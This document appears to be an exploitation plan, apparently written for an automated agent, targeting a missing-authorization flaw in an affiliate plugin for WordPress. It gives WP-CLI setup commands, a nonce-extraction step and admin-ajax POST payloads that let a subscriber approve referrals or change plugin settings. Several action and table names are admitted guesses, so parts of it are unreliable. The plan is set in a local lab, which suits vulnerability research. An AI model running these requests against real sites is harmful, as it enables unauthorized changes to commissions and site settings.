Exploitation Research Plan - CVE-2026-7559

1. Vulnerability Summary

The Affilia – Affiliate Program & Referral Tracking for WordPress plugin (versions <= 3.3.3) contains multiple Missing Authorization vulnerabilities. While the plugin implements CSRF protection via nonces, it fails to perform capability checks (e.g., current_user_can( 'manage_options' )) in its AJAX handlers. This allows any authenticated user (including those with the lowest-level Subscriber role) to execute administrative actions such as approving/rejecting referrals, deleting records, and modifying plugin settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST
• Authentication: Required (Subscriber or higher)
• Vulnerable Actions (Inferred):
  • rtwalwm_approve_referral
  • rtwalwm_reject_referral
  • rtwalwm_delete_referral
  • rtwalwm_credit_commission_to_wallet
  • rtwalwm_save_banner_options
• Payload Parameters:
  • action: The specific AJAX action (e.g., rtwalwm_approve_referral).
  • nonce: The value of rtwalwm_global_params.rtwalwm_nonce.
  • id or referral_id: The ID of the record to modify.

3. Code Flow

1. Registration: The plugin registers AJAX handlers using add_action( 'wp_ajax_...', ... ) (likely in includes/rtwalwm-class-wp-wc-affiliate-program.php or a dedicated AJAX handler file).
2. Nonce Verification: The handler calls check_ajax_referer( 'rtwalwm-ajax-security-string', 'nonce' ) or wp_verify_nonce( $_POST['nonce'], 'rtwalwm-ajax-security-string' ).
3. Missing Check: The handler omits any check for current_user_can().
4. Execution: The handler proceeds to update the database via $wpdb or plugin-specific classes (e.g., changing a referral status from pending to approved).

4. Nonce Acquisition Strategy

The nonce is generated in public/rtwalwm-class-wp-wc-affiliate-program-public.php and tied to the action string "rtwalwm-ajax-security-string". It is exposed to all authenticated users on pages where the plugin script is enqueued.

Strategy:

1. Shortcode Identification: The plugin uses [rtwwwap_affiliate_page] to render the affiliate dashboard. This shortcode triggers the loading of rtwalwm-wp-wc-affiliate-program-public.js.
2. Page Creation: Use WP-CLI to create a page containing this shortcode.

   wp post create --post_type=page --post_status=publish --post_title="Affiliate Dashboard" --post_content='[rtwwwap_affiliate_page]'
   

3. Browser Extraction: Navigate to the created page as a Subscriber and extract the nonce using browser_eval.
   • Variable Name: window.rtwalwm_global_params
   • Nonce Key: rtwalwm_nonce
   • JS Command: browser_eval("window.rtwalwm_global_params?.rtwalwm_nonce")

5. Exploitation Strategy

This PoC focuses on unauthorized referral approval.

Step 1: Pre-exploitation Discovery

Search the plugin code to confirm the exact AJAX action names.

grep -r "wp_ajax_rtwalwm_" /var/www/html/wp-content/plugins/affiliaa-affiliate-program-with-mlm/

Step 2: Extract Nonce

1. Login to WordPress as a Subscriber.
2. Navigate to the page with the [rtwwwap_affiliate_page] shortcode.
3. Run: browser_eval("window.rtwalwm_global_params.rtwalwm_nonce").

Step 3: Execute Unauthorized Action

Using the http_request tool, send a POST request to admin-ajax.php.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=rtwalwm_approve_referral&nonce=[EXTRACTED_NONCE]&referral_id=1
  

  (Note: Replace rtwalwm_approve_referral and parameter names based on Step 1 results).

6. Test Data Setup

1. Create a Subscriber User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

2. Create a Pending Referral:
   Manual entry via database or if the plugin allows, generate a referral record.

   # Example SQL (inferred table name)
   wp db query "INSERT INTO wp_rtwalwm_referrals (affiliate_id, status, amount) VALUES (1, 'pending', '10.00')"
   

3. Create Nonce Page:

   wp post create --post_type=page --post_status=publish --post_content='[rtwwwap_affiliate_page]'
   

7. Expected Results

• HTTP Response: The request should return a success message (often 1, {"success":true}, or {"status":"success"}).
• State Change: The targeted referral record in the database should move from pending to approved.

8. Verification Steps

After sending the HTTP request, verify the change via WP-CLI:

# Check the status of the referral in the database
wp db query "SELECT status FROM wp_rtwalwm_referrals WHERE id = 1"

Expect the output to be approved (or the equivalent success status).

9. Alternative Approaches

If rtwalwm_approve_referral is not the exact name, target the banner options modification:

• Action (Inferred): rtwalwm_save_banner_settings
• Payload:

  action=rtwalwm_save_banner_settings&nonce=[NONCE]&banner_options[some_key]=malicious_value
  

Confirm the modification by checking the options table:

wp option get rtwalwm_banner_settings